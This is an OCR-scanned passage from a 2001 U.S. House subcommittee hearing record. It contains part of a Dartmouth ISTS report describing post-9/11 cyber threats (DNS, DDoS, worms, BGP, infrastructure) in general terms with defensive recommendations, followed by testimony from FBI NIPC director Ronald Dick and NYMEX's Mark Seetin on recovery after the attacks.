use. A Unicode attack atlows attackers to disguise the payload used in an exploit and evade
detection. The first major Unicode vulnerability was documented against Microsoft Internet
Information Servers (I18) in October 2000, :
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provide false information at a critical juncture in the war on terrorism, could have a
significant impact on the American population. Potential targets for web defacements
and semantic hacks are any government or military web sites, high volume sites such as
search engines, e~comumerce sites, and news services.

Domain Name Service (DNS) Attacks

Computers connected to the Internet communicate with one another using numerical IP
addresses. Domain name servers (DNS) are the “Yellow Pages’ that computers consult in
order to obtain the mapping between the name of a system (or website) and the numerical
address of that system. For example, when a user wants to cormect to the CNN web site
(cnn.com), the user’s system queries a DNS server for the numerical address of the
system on which the CNN web server runs (64.12.50.153). In this example, if the DNS
server provided an incorrect numerical address for the CNN web site, the user’s system
would connect to the incorrect server. Making matters worse, this counterfeit connection
would likely be completed without arousing the user’s suspicion. The result would be
that the user is presented a web page that he believes is on the CNN web server but, in
reality, is on the attacker’s server. An attacker could disseminate false information with a_
successful attack on a select DNS server (or group of servers), bypassing the need to
break into the actual web servers themselves. Moreover, a DNS attack would prevent
access to the original web site, depriving the site of traffic.

The system of domain name servers on the Internet is hierarchical. Local DNS servers
maintain up-to-date, authoritative information about their own zones only and rely on
communication with other DNS servers for information about remote zones. At the top
of the hierarchy are root name servers that maintain authoritative information about
which server is responsible for each local zone. Historically, successful DNS server
attacks have been perpetrated against local DNS servers, causing traffic to selected sites
to be redirected or lost. However, the potential exists for attacks on the root DNS
servers, and the likelihood of an attack of this kind occurring may increase during the war
on terrorism,

Distributed Denial of Service (DDoS) Attacks

Distributed Denial of Scrvice (DDoS) attacks against high value targets (political and
economic) are also likely to escalate during that war on terrorism since defending against
these attacks is a formidable task. Hackers regularly launch DDoS attacks against an
array of targets but the danger lies in a coordinated attack on significant national
resources such as communications, banking, and financial targets. DDoS attacks against
critical communication nodes would be particularly harmful, especially during a period of
crisis. In the hours after the attacks in New York, when the phone circuits were
overloaded, the Internet and its communication options, such as email and chat channels,
were the only means for many people to communicate. Potential targets for DDoS
aftacks are chat and mail servers, government web sites, high volume sites such as search
engines, e-commerce sites, and news services. As demonstrated in the Kosovo conflict,
military web sites and communications systems are especially likely to receive DDo§
attack variants.
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‘Worms

The past six months have witnessed an unprecedented number of prolific “worms’ (e.g.
Code Red, Ramen, Lion) some of which are suspected of having been created in response
to political events. The vulnerabilities worms exploit are usually well known to system
administrators and able to be remedied, but often go un-patched on enough systems to
cause major problems in the information infrastructure. Analysis by ISTS scientists of
recent worm code, and discussion among experts in the computer security community of
high profile worms, has resulted in the consensus that these intelligent software agents
did not carry destructive payloads. A worm similar to Code Red could do much more
serious damage with only minor design medifications. This analysis points to the
conclusion that if maximum destruction is a hostile adversary’s goal, worms are a cost
effective way to significantly disrupt the United States’ national information
infrastructure. New worms may contain a sleep phase, in which the worm will infect as
many hosts as possible, before activating its destructive payload perhaps in order to
coordinate with a conventional terrorist attack.

Some researchers have predicted the emergence of new classes of worms (Warhol
worms, flash worms)*® which could spread in minutes or even seconds, leaving little or
no time for system administrators to react. It is reasonable to expect that new variants of
old worms will appear and be renamed to allude to the terror attacks in New York and
Washington*!

Hybrid worms that combine a series of historically successful exploits to maximize
effectiveness are certain to appear in the near future, if not during the war on terrorism.*
Inevitably, there will be new worms based on vulnerabilities that are not yet known, and
therefore, not immediately patchable. Worms employing such ‘zero day exploits” could
leave the custodians of information systems with no choice but to shut down services
until patches are available, effectively resulting in a physical denial of service. Recent
worms examined by computer security experts have been relatively crude in
technological construction, perhaps aimed at easy targets to attract significant media
attention. These worms may be used to shield more sophisticated and malicious worms,
operating alongside their noisier cousins and targeting critical infrastructure systems.

Routing Vulnerabilities

Routers are the ‘air traffic controllers’ of the Internet, ensuring that information, in the
form of packets, gets from source to destination. Routing operations have not yet seen
deliberate disruption from malicious activity, but the lack of diversity in router operating
systems leaves open the possibility for a massive routing attack. For example, the vast
majority of routers on the Internet uses Cisco’s Internetwork Operating System (I0S),
and vulnerabilities in the Cisco IOS have been uncovered in recent months. While
routers are less vulnerable than most computers due tfo the fact that they offer fewer
services, there is the possibility that a current or as yet undiscovered vulnerability could
be used to gain control of a number of backbone routers.

As the Melissa virus demonstrated in 1999, a lack of cyber diversity (i.e., the reliance on
a single software or hardware product for certain functions) increases the chances of a
simple but widely effective attack. If an attacker could find a common vulnerability, the
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ensuing attack on routing operations would bring the Internet to a halt.  One example is
possibly attacking the border gateway protocol (BGP),”™™ which routers use to make
decisions about where to send traffic on the Internet. This protocol is vulnerable to
information poisoning that could corrupt routing tables. The result of this action would
be a very effective Internet ‘black hole’ where large volumes of information headed for
destinations all over the world would be lost.

Currently, the only authentication™ mechanism for BGP updates is an optional
encryption scheme named ‘MDS5 hashing™ that has not been widely adopted info use by
router administrators. Internet backbone operators and service providers, who maintain
the routers on which the Nation’s information infrastructure depends, are not obliged to
follow standards or regulations for maintaining security on routers. These operators must
be particularly sensitive to any abnormal activity in routing behavior during the war on
terrorism.

Infrastructure Attacks

Serious cyber attacks against infrastructures, through unauthorized intrusions, DDoS
attacks, worms, or Trojan horse programs, or malicious insiders, have been the subject of
speculation for several years.™ Vulnerabilities in the Nation’s power distribution grid
were first exposed during the Joint Chiefs of Staff exercise “Eligible Receiver.” Mr.
Kenneth H. Bacon, Pentagon spokesperson, stated, “we did learn that computer hackers
could have a dramatic impact on the nation’s infrastructure, including the electrical
power grid™* This vulnerability was exploited for real in June 2001, when computer
hackers, routed through networks operated by China Telecom, penetrated the defenses of
a practice network of the California Independent Systems Operator (Cal-ISO). for 17
days.? The specter of an unanticipated and massive attack on critical infrastructures that
disables core functions such as telecommunications, electrical power systems, gas and
oil, banking and finance, transportation, water supply systems, government services, and
emergency services, has been raised in a number of Teports on national security®® and by
the NIPC. The degrees to which these infrastructures are dependent on information
systems, and interrelated to one another, are still not well understood. Neither is the
extent to which these information systems are exposed to outside entry from the Internet.

= protocol: in information technology, the special set of rules that end points in a telecommunication
connection use when they communicate.

i Authentication: the process of determining whether someane or something is, in fact, who or what it is
declared to be. In private and public computer networks (including the Internet), authentication is
commonly done through the use of logon passwords.

-** Hashing: the transformation of a string of characters into a usually shorter fixed-length value or key that
represents the original string. Hashing is used to index and retrieve items in a database because it
is faster to find the item using the shorter hashed key than to find it using the original value, It is
also used in many encryption algorithms. MDS5 is a digital signature algorithm that is used to
verify data integrity through the creation of a 128-bit message digest from data input {which may
be a message of any length) that is claimed to be as unique to that specific data as a fingerprint is
to the specific individual,
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Information systems associated with these critical infrastructures must be considered a
likely target for terrorists, nation-states, and anti-U.S. hackers in the age of asymmetrical
warfare. Some examples:

* Banking and financial institutions utilize infrastructures that are vulnerable
to cyber attack due to their dependence on networks. However, this sector still
operates largely private networks and intranets with very limited external
access, thus affording it some protection from external cyber attack.

= Voice communication systems are vulnerable to proprietary software attacks
from insiders familiar with the technical details of the system. This includes
911 and emergency services telephone exchanges.

= Electrical infrastructures have sensors that assist engineers in shutting down
components of the national grid in times of natural disaster, which could
become vulnerable to cyber manipulation, potentially resulting in power
outages.

= Water resources and the management of water levels are often controlled by
sensors and remote means. Physical security, in addition to heightened cyber
security awareness, must be followed during the impending conflict.

= Qil and gas infrastructures widely rely on the use of computerized

Supervisory Control and Data Acquisition (SCADA) and Energy Management

Systems (EMS). These systems could be vulnerable te cyber attack with the

- potential of affecting numerous economic sectors, such as manufacturing and
transportation,

Malicious insiders are the greatest threat to our critical national infrastructures. Insiders

.armed with specialized knowledge of systems and privileged access are capable of doing
great harm. The tragedy of September 11, 2001 illustrates that terrorists live and operate
within the United States, obtaining specialized skills with deadly intentions.

Compound Attacks

Individually, any one of the scenarios discussed here could have serious consequences.
However, a multi-faceted attack employing some or all of the attack scenarios in
compound fashion could be devastating if the United States and its allies are unprepared.
A compound cyber attack by terrorists or nation-states could have disastrous effects on
infrastructure systems, potentially resulting in human casualties. Such an attack could
also be coordinated to coincide with physical terrorist attacks, in order to maximize the
impact of both.
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RECOMMENDATIONS
The Nation Must Be On High Cyber Alert During The War On Terrorism

System administrators and government officials in the U.S. and allied countries should be
on high alert for the warning signs of impending hostile cyber activity, particularly during
periods immediately following military strikes or covert operations, Reconnaissance by
potential attackers is a fact of life in network operations, but changes in ‘normal’
scanning activity should be considered highly suspicious during this period and reported
to the appropriate authorities listed in the related online resources appendix (Page 22), Also
see the incident reporting guidelines (Page 23). As an additional precaution, logging levels
should be temporarily raised to trap as many events as possible to increase the fidelity of
subsequent law enforcement and/or counterintelligence investigation, and enable the
issvance of specific warnings by the NIPC and other appropriate entities to other
potential victims. Systematic and routine risk assessments of information infrastructures
provide a good starting point for effective risk management and thus should be a ptiority.
An incident management plan should be developed and implemented with the approval of
senior level decision makers and legal counsel. Law enforcement contact numbers
should be readily available in case of an attack.

Follow Standard ‘Best Practices’ for Computer and Physical Security

Prevention of cyber attacks in the near future will be no different than in the past. Best
practices for maintaining systers should be followed as a tenet of any organization’s
standard operating procedures:

= QOperating systems and software should be updated regularly
*  Strong password policies should be enforced

* Systems should be ‘locked down’

=  All unnecessary services should be disabled

»  Anti-virus software should be installed and kept up to date

* High fidelity intrusion detection systems (dDS)™ and firewalls should be
employed

Security measures, which were previously considered excessive, should now be
considered a minimum effort. System administrators must recognize that this new war on
terrorism will require increased vigilance from everyone, particularly those who are
entrusted with maintaining critical information assets. These basic steps will go a long
way toward preventing cyber attacks.

o Tntrusion Detection System: software program that attempts to detect intrusion into a computer or
network by observation of actions, security logs, or audit data,
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Secure Critical Information Assets

Any host or network component - the loss of whose services might result in serious
communications failure or financial loss - should be considered a critical information
asset. While cost considerations make extraordinary protection of all systems unfeasible,
measures for securing critical systems should be implemented wherever possible. Anti-
defacement measures include checks for characters associated with popular web server
exploits. Border routers should make use of existing authentication mechanisms to
prevent malicious tampering with routing tables. Domain name servers should be
running only recent and secure software to prevent DNS corruption and the redirecting of
web traffic to bogus sites. All vital data should be backed u}a regularly and stored off-site
to prevent loss in the case of a physical or cyber attack.>’ Log records should also be
copied and maintained in a secure location to avoid tampering. All the measures to secure
critical infrastructure assets should be clearly explained in an enforceable security policy.

Ingress and Egress Filtering

Packets associated with cyber attacks, particularly DDoS attacks, are often ‘spoofed’.
This means that the real Internet protocol (IP) source address in the packet is replaced
with a false address to disguise the identity of the attacker. Spoofed IP addresses are easy
to detect and stop near their source, since routers can be programmed to discard any
outbound packets whose source IP address does not belong to the router’s client
networks.  Such outbound or ‘egress’ filtering is a relatively simple but not widely
implemented validation procedure. Likewise, inbound or ‘ingress’ filtering of any IP
packets with un-trusted source addresses, before they have a chance to enter the network,
can also be effective.®® Untrusted source addresses include those addresses reserved for
private networks or not yet issued by the international autherities that assign Internet
numbers. Filtering of packets from domains in hostile parts of the world might seem like
a good way to minimize threats during a time of international strife, but IP address
spoofing and attacks from within our own borders could circumvent such preventive
measures. Countermeasures for DDoS can also include cooperation from “upstream’
Internet service providers (ISP’s) that send packets to their client networks. ISP routers
can be programmed to limit the rate at which packets typically associated with attacks
(SYN and ICMP packets)™" are sent downstream to client networks. By rate limiting
these particular packets, the effects of a malicious flood can be minimized without
seriously disrupting normal operations. These preventive measures are well within the
capabilities of most Internet service providers.

i §YN packet: used to ‘sync up® or start computer communications and Internet Control Message
Protocol (ICMP) packets are often used in Distributed Denal of Service DDoS attacks.
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CONCLUSIONS

An examination of historical precedents indicates that major political and military
conflicts are increasingly accompanied by significant eyber attack activity. Previous and
ongoing global conflicts also indicate that cyber attacks are escalating in volume,
sophistication, and coordination. The United States and its allies must operate under the
premise that military strikes against terrorists and their nation-state supporters will result
in cyber attacks against U.S. and allied information infrastructures.

The vast majority of previous politically related cyber attacks have been nuisance attacks,
and it is extremely likely that such attacks will follow any U.S.-led military action. The
factual data contained in this report suggests that the potential exists for much more
devastating cyber attacks following any U.S.-led retaliation to the September 11 terrorist
attacks on America. Such an attack could significantly debilitate U.S. and allied
information networks. A catastrophic cyber attack could be launched either externally or
internally on United States’ information infrastructure networks and could be part of a
larger conventional terrorist action. .
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APPENDIX: RELATED ONLINE RESOURCES

http://www.cert.org

The Carnegie Mellon Computer Emergency Response Team (CERT) Coordination
Center is a major reporting center for Internet security problems that analyzes product
vulperabilities, publishes technical documents, and presents training courses.

http:/fwww fedcire.gov/

The Federal Computer Incident Response Center (FedCIRC) is the central coordination
and analysis facility dealing with computer security related issues affecting the civilian
agencies and departments of the Federal Government.

http://www.incidents.org

Incidents.org is a community and industry collaboration on security-related matters that
produces practical technologies, tools, and processes that can be used by the entire
Internet community to detect threats, protect their resources, and react to security
incidents and new threats. :

http://ists.dartmouth.edu

The Institute for Security Technology Studies at Dartmouth College serves as'a principal
national center for counterterrorism technology research, development, and assessment
with a significant focus on cyber attacks. :

http://www.nipc.gov

The National Infrastructure Protection Center (NIPC) serves as the national focal point
for threat assessment, warning, investigation, and response to cyber attacks. A significant
part of its mission involves establishing mechanisms to increase the sharing of
vulnerability and threat information between the government and private industry.

http//www.sans.org

The System Administration, Networking and Security (SANS) Institute is a cooperative
research and education organization through which system administrators, security
professionals, and network administrators share lessons learned. SANS provides system
and security alerts, news updates, and education,
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APPENDIX: INCIDENT REPORTING GUIDELINES

If you require immediate assistance for a computer security incident contact the
appropriate law enforcement agency immediately and report the following:

= Names, location, and purpose of operating systems involved

= Names and location of programs accessed

» How intrusion access was obtained

= Highest classification of information stored in the systems

= Impact (compromise of information or dollar loss)

To protect evidence and help law enforcement agencies investigate the incident take the
following actions:

= Make backup copies of damaged or altered files, and keep these backups in a
secure focation

= Activate all auditing software

= Consider implementing a keystroke monitoring program, provided an
adequate warning banner is displayed on your system

= DO NOT contact the suspected perpetrator
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Please address comments or questions to:

THE INSTITUTE FOR SECURITY TECENOLOGY STUDIES

45 Lyme Road, Hanover, New Hampshire 03753, Telephone: 603-646-0700, FAX: 603-646-0660

http://www.ists.dartmouth.edu
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Mr. HORN. And I'm delighted now to have the presentation of the
Honorable Ronald Dick, the Director of the National Infrastructure
Protection Center for the Federal Bureau of Investigations. I want
to say great thanks on behalf of the subcommittee that the FBI has
been this early in the game—they have worked very close with the
committee. Thanks to their generosity; we've had a lot of individ-
uals throughout the world that have been helpful with them bring-
ing them here, and they can take advantage of those individuals
and so can the subcommittee. So thank you very much for what
you've been doing.

STATEMENT OF RONALD DICK, DIRECTOR, NATIONAL INFRA-
STRUCTURE PROTECTION CENTER, FEDERAL BUREAU OF
INVESTIGATION

Mr. Dick. Thank you, Mr. Chairman. Particularly, thank you for
the opportunity to discuss our government’s important and continu-
ing challenges with respect to information technology. As several of
the panel members have said in the face of the tragedies 2 weeks
ago, I come before you today to relay a strong sense of optimism.
We, the men and women of the NIPC and our thousands of part-
ners throughout the country and the world, including my col-
leagues on this panel, have heard the call and I believe have
stepped forward.

While the terrorists were building their network, so too were we.
For the past 3 years, while others were thinking of ways to defeat
us, the NIPC was working tirelessly to build the broad partner-
ships we have today, to mobilize great talent, to break down the
old ways of doing business, and to forge ahead with the united
sense of government and private sector purpose.

There is more work to be done. There always will be. But there
should be no doubt about our progress, about our persistence, about
our pledge to the American people. Acting as one, the Federal,
State and local governments, the private sector and the inter-
national partners eagerly accept President Bush’s challenge which
was referred to as the “challenge of our time.”

For the past 3 years, we have cultivated a number of initiatives,
each focused on simultaneously developing the NIPC, the capacity
to warn, to respond and to build partnerships. The NIPC built
InfraGard into the largest government/private sector joint partner-
ship for infrastructure protection in the world, with over 2,000
members nationwide. The NIPC Web site takes advantage of the
Internet’s long reach to provide significant cyber-alerts as well as
the ability to report computer attacks and intrusions on line. The
NIPC has built systems or has provided systems administrators
and home users with roughly 100 warnings about cyber-threats
and vulnerabilities.

Just last week, we provided information systems security advice
through our Web site, through InfraGard, and through our trusted
partners to better protect the public from the Nimda worm. In fact,
based on our prior responsiveness and coordination with the pri-
vate sector concerning Code Red, we believe that the Nimda impact
was significantly reduced. The NIPC’s Watch Center operates
around the clock and communicates daily with the Department of
Defense. Major General Dave Bryan, Commander of the Joint Task
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Force for Computer Network Operations, recently remarked that
the NIPC and JTF-CNO have established an outstanding working
relationship. We have become interdependent, with each realizing
that neither can totally achieve its mission without the other. And
I couldn’t agree more. The Center’s ability to fulfill the expectations
and needs of its Department of Defense components is achieved by
the interagency nature of the NIPC, which includes the Center’s
Deputy Director, James Plehal, a two-star Navy Rear Admiral.
This example of the Center staffing demonstrates our collective
commitment to achieve meaningful ownership and coordination
across the law enforcement, the intelligence, and military commu-
nities as well as other agencies.

We are strongly partnered with FedCIRC, to enhance the secu-
rity of our government technology systems and services. We team
up regularly with the CIA and the NSA to work on matters of com-
mon interest. In fact, the head of our Analysis and Warning Sec-
tion is a senior CIA officer and the head of the section’s Analysis
and Information Sharing unit is a senior manager from NSA. In
total, the Center has full-time representatives from a dozen Fed-
eral and three foreign government agencies, led in number by the
FBI and the Department of Defense.

We're continuing to take advantage of the FBI's global presence
through its legal attaches in 44 nations around the word. Our
multiagency team works with information sharing and analysis
centers throughout the country and provides threat briefings to the
critical infrastructure sector, including financial services electrical
power, telecommunications, water, oil and gas, aviation and rail-
road. We are connected with 18,000 police departments and sheriffs
departments which bravely serve our Nation daily and in times of
crisis.

Our strong ties with the private sector, State and local first re-
sponders places us at the Center in the unique position to answer
the President’s call for homeland security. In this regard, we’re also
leveraging our key asset initiative by leading the creation of a com-
prehensive data base to identify the Nation’s critical infrastructure
components.

Equally significant, the NIPC manages the computer intrusion
investigations nationwide for the FBI, both on the criminal and na-
tional security side. Our integration with the FBI continues to pro-
vide the NIPC with access to law enforcement, intelligence, coun-
terintelligence and open source information that for privacy and
civil rights reasons is unavailable in its aggregate to any other
Federal agency.

The Center has been providing critical technical assistance to the
PENTTBOM investigation in aid of what is certain to be a joint
and long-term law enforcement intelligence and military response.
During the past 2 weeks the center has provided detailed informa-
tion—or provided detailed information used to brief the National
Command Authority about how the terrorist cells of September 11
used technology to further their murderous acts. We developed an
interagency coordination cell to deconflict investigations and pro-
vide relevant information on those agencies—or to those agencies
that have not been able to provide full-time support to the center.
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At the moment, the interagency coordination cell has taken a
leadership role in the ongoing PENTTBOM efforts. It is staffed
with 43 individuals from 15 agencies and every entity that needs
information to conduct its part of this most critical mission gets it.

In short, the Center is coordinating its incident deterrence pre-
vention, warning and response mission with strong multiagency
support. That, in brief, is a look at the NIPC. Our responsibilities,
as you can see, are broad and we are rising to the challenge. We
are united so that the benefits of technology flourish while the risk
of the technology are reduced, provided resource issues identified
in the GAO April 2001 report are resolved. We will continue to wit-
ness the ever better results. We are eager to take on this important
work that surely lies ahead, and on behalf of the Center I would
like to thank you for your continuing support in our efforts in this
significant issue.

Mr. HORN. Thank you. That’s very helpful and we’ll be working
with you on the next phase of what were going to be going to;
which will be pretty much throughout the United States.

[The prepared statement of Mr. Dick follows:]
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Ronald 1. Dick, Director
National Infrastructure Protection Center
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House Committee on Government Reform
Subcommittee on Government Efficiency, Financial Management,
and Intergovernmental Relations
Washingion, DC

September 26, 2001

Good morning Chairman Horn and other members of the subcommittee. Thank
you for this opportunity to discuss our government's important and continuing challenges with
respect to information technology.

In the face of the tragic events of two weeks ago, I come before you today to relay
a strong sense of optimism. We, the men and women of the National Infrastructure Protection
Center, and our thousands of partners throughout the country and the world, including my
colleagues on this panel, have heard the call and we have stepped forward. While the terrorists
were building their networks, so too were we.

For the past three years, while others were thinking of ways to defeat us, the NIPC
was working tirelessly to build the broad partnerships we have today, to mobilize great talent, to
break down the old ways of doing business, and to forge ahead with a united sense of
government and private sector purpose. There is more work to be done, there always will be, but
there should be no doubt about our progress, about our persistence, and about our pledge to the
American people. Acting as one -- the federal, state and local governments, the private sector,
and our international partners eagerly accept what President Bush referred to as “the challenge of
our time." And, accepting this responsibility, we vow to make good on our part of the President's
promise that "We will not tire, we will not falter, and we will not fail."

Only one month ago, on August 29th, the head of the NIPC's Training, Outreach,
and Strategy Section, Leslie Wiser, spoke before this subcommittee. He provided an overview of
the NIPC, its mission, and its response to Internet viruses and worms such as the Leaves and
Code Red worms. Today, my focus will be somewhat different, but I wish to emphasize that the
cooperation Mr. Wiser spoke of then has not only served us well to meet our present challenges,
it has grown even stronger.
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While developing our infrastructure protection capabilities, the NIPC has held
firm to two basic tenets that grew from years of study by the President's Commission on Critical
Infrastructure Protection. First, that the government can only respond effectively to information
technology threats by focusing on protecting systems against attack while simultaneously
identifying and responding to those who nonetheless would attempt or succeed in launching
those attacks. And second, that the government can only help protect this nation's most critical
infrastructures by building and promoting a coalition of trust, one . . . amongst all government
agencies, two . . . between the government and the private sector, three . . . amongst the different
business interests within the private sector itself, and four . . . in concert with the greater
international community. Therefore, the NIPC has focused on developing its capacity to warn, to
investigate, and to build partnerships, all at the same time. As our techniques continue to mature
and our trusted partnerships gel, provided that the resource issues identified in the GAO's April
2001 Report are resolved we will continue to witness ever-better results.

Over the past three years, we cultivated a mumber of initiatives that have
developed into increased capabilities, all of which are being actively used to mitigate the terrorist
threat and to prepare our response to the events of September 11th. The NIPC has developed
InfraGard into the largest government/private sector joint partnership for infrastructure protection
in the world. We have taken it from its humble roots of a few dozen members in just two states
to its current membership of over 2,000 partners throughout every state of the union. The NIPC
also reaches out to the entire public with its website at nipc.gov, which to date has provided
systems administrators and home users alike with significant warnings about cyber threats and
vulnerabilities. As recently as last week, we provided information systems security advice
through our website, through InfraGard, and through our other partnerships, to better protect the
public from the Nimda worm. In fact, based on our prior responsiveness to the Code Red worm
and our joint efforts with the private sector in publicizing preventive measures that business and
home users could put in place, we believe the impact of the Nimda worm, which took advantage
of similar software vulnerabilities as Code Red, was significantly reduced.

Our website also provides the public with the ability to report computer attacks
and intrusions online, simply by filling out and submitting an Incident Reporting Form. The
NIPC also provides timely information on cyber vulnerabilities, hacker exploit scripts, hacker
trends, virus information, and other critical infrastructure best practices through its bi-weekly
publication Cybernotes. The NIPC provides policy and decision-makers information about
current events, incidents, developments and trends related to critical infrastructure protection
through its monthly publication called Highlights and, more significantly, by bringing groups
together to meet on important issues and by increasing the number of times in a day that the
NIPC picks up the phone and gets the word out. We have established these and other
mechanisms to promote meaningful two-way communication with the public, and they are seeing
active use.
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The NIPC's Watch Center operates around the clock without exception and
communicates daily with the Department of Defense and its Joint Task Force for Computer
Network Operations. U.S. Army Major General Dave Bryan, Commander of the JTF-CNO,
recently remarked that, "The NIPC and JTF-CNO have established an outstanding working
relationship. We have become interdependent, with each realizing that neither can totally
achieve its mission without the other.," 1couldn't agree more. The NIPC's ability to fulfill the
expectations and needs of its Department of Defense component is achieved by the inter-agency
structure of the Center, which includes the NIPC's Deputy Director James Plehal, a Two Star
Navy Rear Admiral, and the NIPC's Executive Director, Steven Kaplan, a Senior Special Agent
from the Air Force Office of Special Investigations. This example of the Center's staffing
demonsirates our desire for broad, high-level, multi-agency ownership of the NIPC and our
collective commitment to achieve meaningful and effective coordination across the law
enforcement, intelligence, military, and other critical government operations communities.

We are strong partners with the General Services Administration's Federal
Computer Incident Response Center, FedCIRC, in order to further secure our government
technology systems and services. We teamn up regularly with the CIA to work on matters of
common concern; in fact, the head of our Analysis and Warning Section is a senior CIA officer.
Within the Center, the NIPC has full-time representatives from a dozen federal government
agencies, led in number by the FBI and the Department of Defense, as well as from three foreign
partners: the United Kingdom, Canada, and Australia. The NIPC has established information
sharing connectivity with a number of foreign cyber watch centers, including in the UK, Canada,
Australia, New Zealand, and Sweden. And, we continue to take advantage of the FBI's global
presence through its Legal Attache offices in 44 nations.

Our multi-agency team works with Information Sharing and Analysis Centers
throughout the country, including those that represent the Financial Services Sector, the Electric
Power Sector, the Telecommunications Sector, the Information Technology industry, and the
computer software anti-virus industry. In addition to these private sector pariners, we have
provided threat briefings to the Water Sector, the Oil and Gas Sector, and the Aviation and
Railroad Sectors. Under current threat conditions, the NIPC is providing sector briefings almost
every day. We are also connected with the 18,000 police departments and Sheriff's offices which
bravely serve our nation daily and in times of crisis. This past March the NIPC and the
Emergency Law Enforcement Services Sector Forum completed the nation's Emergency Law
Enforcement Sector Plan together with a "Guide for State and Local Law Enforcement ..
Agencies." This significant achievement represents the nation's first completed sector plan and it
is being used as a model by the other critical infrastructure sectors. Taken together, the Plan and
the Guide provide our emergency law enforcement first responders with procedures that are
immediately useful to enhance their security.
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Equally significant, the NIPC manages all computer intrusion investigations
nationwide for the FBI, both on the criminal and national security side, to include terrorist cyber
activities. Our integration with the FBI continues to provide the NIPC with access to law
enforcement, intelligence, counter-intelligence, and open source information that -- for privacy
and civil rights reasons -- is unavailable in ifs aggregate to any other federal agency.

The NIPC's Special Technologies and Applications Unit has been providing
crucial technical assistance to the PENTTBOM investigation, in aid of what is certainto be a
joint and long-term law enforcement, intelligence, and military response. Also in support of the
PENTTBOM investigation, the NIPC has established a Cyber-Crisis Action Team to exploit all
collected cyber information. During the past two weeks, the NIPC has provided detailed
information used to brief the National Command Authority about how the terrorist cells of
September 11 used technology to further their murderous activities.

The NIPC developed an Interagency Coordination Cell that meets on a scheduled
basis and on an as-needed basis in order to deconflict investigations and provide relevant
information to those agencies that have not been able to provide full-time support to the Center.
At the moment, the Interagency Coordination Cell has taken a leadership role in our ongoing
PENTTBOM efforts and has stood-up on a full-time basis within the Center. Currently it is
staffed with 43 individuals representing 15 agencies. Every entity that needs information to
conduct its part of this most critical mission gets it. In short, the NIPC is coordinating its
incident deterrence, prevention, warning, and response mission with strong multi-agency support.

That in brief is a look at the NIPC. Our responsibilities, as you can see, are broad,
and we are rising to that challenge. We are over one dozen federal agencies strong, and getting
stronger all the time. We are united to make a difference, to make sure that the benefits of
technology flourish while the risks are reduced. We are ready to take on the important work that
surely lies ahead and, on behalf of the Center, I would like to thank you for your continuing
efforts on these significant matters.
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Mr. HORN. We now have Mark Seetin, who’s the vice president,
governmental affairs, New York Mercantile Exchange.

STATEMENT OF MARK SEETIN, VICE PRESIDENT, GOVERN-
MENTAL AFFAIRS, NEW YORK MERCANTILE EXCHANGE

Mr. SEETIN. Thank you, Mr. Chairman. My name is Mark Seetin.
I am vice president for government affairs for the New York Mer-
cantile Exchange. I want to thank you and all the members of this
subcommittee for inviting us here today to speak on this important
issue.

Before I begin, I would like to take just a brief moment to honor
the memories of the 18 fallen comrades in our company and the
thousands of innocent people who had their lives taken from them
in that horrendous attacks. For the most part, their only political
act was being a husband, a wife, mother, father, friend. Their only
crime was to show up for work. We

Mr. HORN. Where was your location at the time?

Mr. SEETIN. Actually, it’s up on the map. I can show you. Actu-
ally this is for context, basically. I want to give credit to USA
Today. This is a graphic from there. Our location, you can see—I'm
trying to get my pointer to work here. Four World Trade Center
is right there. But you can see the two towers. That’s the point
where we were before, when the bomb attack in 1993—which I'm
going to be addressing. In 1997, we moved into this new building
on One North End Avenue, which is located right there on the
bank of the Hudson River. Critically, you will notice that right next
to us is the Merrill Lynch building, and beyond that is the Amer-
ican Express building. You've heard those buildings mentioned.

The shielding effect that they provided during the horrendous
collapse kept us from having great structural damage to our build-
ing. We didn’t lose windows. We had a lot of debris. The other criti-
cal part that’s going to be evolving in my testimony is right up
there, 22 Courtland Street, which was the back-up center for our
computer systems. That was basically taken out in the collapse as
well, and that was our back-up system as I said.

With that, as I go through, just to put this all in perspective, you
can see this is about 16 acres in size. These are all very, very con-
fined and small areas. Also note here from the standpoint of what
had to happen right after that attack. Right after the first plane
hit the North Tower, our building was evacuated immediately. Our
people were moved out into this plaza. This is the World Financial
Center, right here where my marker is right now. They were
moved into this plaza, and because the roads were cutoff, the only
escape really was from the water. And for that, it was a little bit
like a mini-Dunkirk; because boats, police boats, everybody who
had a boat, was coming in and picking up people and evacuating
them. And they were in the process of doing that.

We still had thousands of people on that plaza when the second
plane hit. It virtually flew over our people en route to crashing into
building No. 2. So that kind of lays the background for the horror
at the beginning of this.

First, a little bit of explanation of who we are. We are a global
energy marketplace. We're the world’s largest energy futures ex-
change. We on a daily basis entertain the trading of 3 to 5 times
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world oil production, 5 to 7 times North American natural gas pro-
duction. We are the window to the marketplace.

The Exchange is a regulated entity, regulated by the Commodity
Futures Trading Commission. Our job is to provide open, competi-
tive, fair pricing for those vital energy commodities. We have been
designated—in fact, one of the reasons we probably got so much as-
sistance and, I will give great credit to those authorities that pro-
vided that, was because we were recognized as a critical asset,
we’re a little bit like if you lose the radio and television when a
tornado is on the way, it doesn’t do you much good not to hear
about it because it’s still going to happen.

And that’s why energy pricing is so critical. The September 11
attack hit the World Financial Center. We had debris raining down
on us. Our building was within yards of that. We were the first ex-
change in New York to reopen for trading. In 1993, the attack was
on a Friday. We were in No. 4 World Trade Center, right next to
building No. 2, which is now a pile of ash and rubble. We were able
to start trading the Monday following that. Again, we lost utilities.
We lost power. The lessons we learned from that did help us in
this, but from our standpoint, I must say the scope of this attack
was unbelievably greater than the bomb of 1993.

Through work and through cooperation and through innovation,
we were able to launch our electronic trading system which nor-
mally operates at night. We have trading in our trading ring. The
trading pits where you see the people yelling and screaming at
each other occurs from 9 to 3 p.m. At 4 p.m., we switch to our elec-
tronic trading system, known as eACCESS, which trades through-
out the night and goes until 9 o’clock the next morning. So we vir-
tually have nearly a 24-hour trading day. The energy markets are
g}llobal and our customers are around the world, so they demand
that.

Were we prepared for this? Frankly, I don’t know anybody who
could possibly be prepared for an attack of this scope. You know,
there’s no one who could tell me they had prepared for something
like this. Yes, we tried to be prepared, given our experience in the
1993 bombing, and we knew that there were some critical things
that you had to have. You had to have an emergency plan. You had
to have a back-up facility.

Well, because our computers had been located in 22 Courtland
Street, which I showed you earlier, we had leasing on those. We
thought, well, this would be an adequate back-up system. Obvi-
ously, our experience with the bomb was far more localized.

Mr. HORN. How many floors were there at 22 Courtland Street?
I'm looking at it and it sort of has two surrounding buildings.

Mr. SEETIN. I believe it’s about 40 stories, if I'm not mistaken.

Mr. HORN. Really?

Mr. SEETIN. Rough guess. I believe it’s about 40 floors. And our
systems were located in the 20th through the 25th on that build-
